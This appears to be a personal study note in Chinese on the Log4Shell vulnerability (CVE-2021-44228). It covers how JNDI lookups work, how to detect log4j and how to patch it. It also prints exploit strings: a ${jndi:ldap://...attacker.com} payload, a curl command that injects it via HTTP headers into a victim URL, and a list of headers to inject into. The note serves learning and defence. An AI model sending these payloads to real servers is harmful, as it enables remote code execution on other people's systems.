---
tags: security, apache
---
# Log4Shell漏洞筆記
參考網路各來源
## What is Log4j
Apache Log4j是一個基於Java的紀錄檔記錄工具 Apache Log4j 2 是對 Log4j 的升級,它比其前身 Log4j 1.x 提供了重大改進,並提供了 Logback 中可用的許多改進,同時修復了 Logback 架構中的一些固有問題
## CVE-2021-44228
編號CVE-2021-44228的漏洞發生於開源日誌資料庫Log4j。Log4j的JNDI功能可用於組態、紀錄訊息,包含於許多軟體專案中,包括Apache Struts2、Apache Solr、Apache Druid、Apache Flink、Elasticsearch、Logstash等等
CVE-2021-44228的漏洞在於log4j 在記錄 log 時,如果記錄到特定格式的東西,就會去執行相對應的程式碼,藉由一個條件表達式\${some_expression}來查尋某些字串並執行取代動作。
Log4j 是根據配置文件中設定的「模板」來記錄Log的。 例如在模板裡寫 ${date:yyyy-MM-dd},那麽 Log4j 就會將其替換為 2021-12-12 的當前日期記錄下來
Log4j 可查詢的內容包括 jndi、sys、env、java、lower、upper。
JNDI查詢支援的通訊協定包括 LDAP、RMI、DNS 和 IIOP。
所以,駭客可在記錄檔中加入一筆 JNDI 查詢表達式例如 **${jndi:ldap://xxx.attacker.com/exp}** ,如果網址列含有惡意程式則會下載執行。
## How to find?
`dpkg -l |grep log4j`
`find / -name log4j-core-*.jar`
`locate log4j | grep -v log4js`
## 延伸的弱點
漏洞 CVE-2021-45046、CVE-2021-45105
https://logging.apache.org/log4j/2.x/
Log4j 2.17 CVE-2021-44832
https://checkmarx.com/blog/cve-2021-44832-apache-log4j-2-17-0-arbitrary-code-execution-via-jdbcappender-datasource-element/
## 修補方式
1. 升級至2.17
2. 無法升級者,應將系統屬性log4j2.formatMsgNoLookups參數由”false”改為”true”。
3. 使用2.10以前版本者,則應從classpath移除JndiLookup class,例如執行以下指令:
`zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class`
## 示意圖

Ref:https://blog.csdn.net/hilaryfrank/article/details/121939902
1. 駭客可以在header的任意參數塞payload,只要log會記錄到就好(參考備註1)
e.g.
`curl -H 'User-Agent: ${jndi:ldap://attacker.com}' -H 'X-Api-Version:${jndi:ldap://attacker.com}' 'victim_url'`
2. 攻擊成功前提是
一、要能解析ldap://**xxx.attacker.com** 的網址
二、能調用java的lookup class
3. Java層Ldap query to localhost:9999,localhost:9999 response 惡意的Codebase地址(localhost:8888/Test.class)給JAVA層
4. Java層 request to localhost:8888/Test.class,下載Test.class回來後在local端執行惡意class
## jndi
Java Name and Directory Interface 除了LDAP外,RMI也可以

圖片來源:https://blog.csdn.net/weixin_45677145/article/details/121990244

參考:https://blogs.juniper.net/en-us/threat-research/log4j-vulnerability-attackers-shift-focus-from-ldap-to-rmi
RMI(Java Remote Method Invocation)
是Java程式語言裡,一種用於實現遠端程序呼叫的應用程式編程介面。它使client上執行的程式可以呼叫遠端server上的物件。遠端方法呼叫特性使Java編程人員能夠在網路環境中分布操作。RMI全部的宗旨就是儘可能簡化遠端介面物件的使用。
## Cheetsheet

@therceman
---
### 備註1:
**Malicious requests in different headers**
User-Agent:
Authorization:
CF-Connecting_IP:
Client-IP: Contact:
Cookie:
Forwarded-For-Ip:
Forwarded-For:
Forwarded: From:
Originating-IP:
Proxy-Client-IP:
Referer:
True-Client-IP:
X-Api-Version:
X-Client-IP:
X-Client-Ip:
X-Forwarded-For:
X-Host:
X-Originating-Ip:
X-Real-IP:
X-Remote-Addr:
X-Remote-Ip:
X-Wap-Profile:
Ref: https://blogs.juniper.net/en-us/security/apache-log4j-vulnerability-cve-2021-44228-raises-widespread-concerns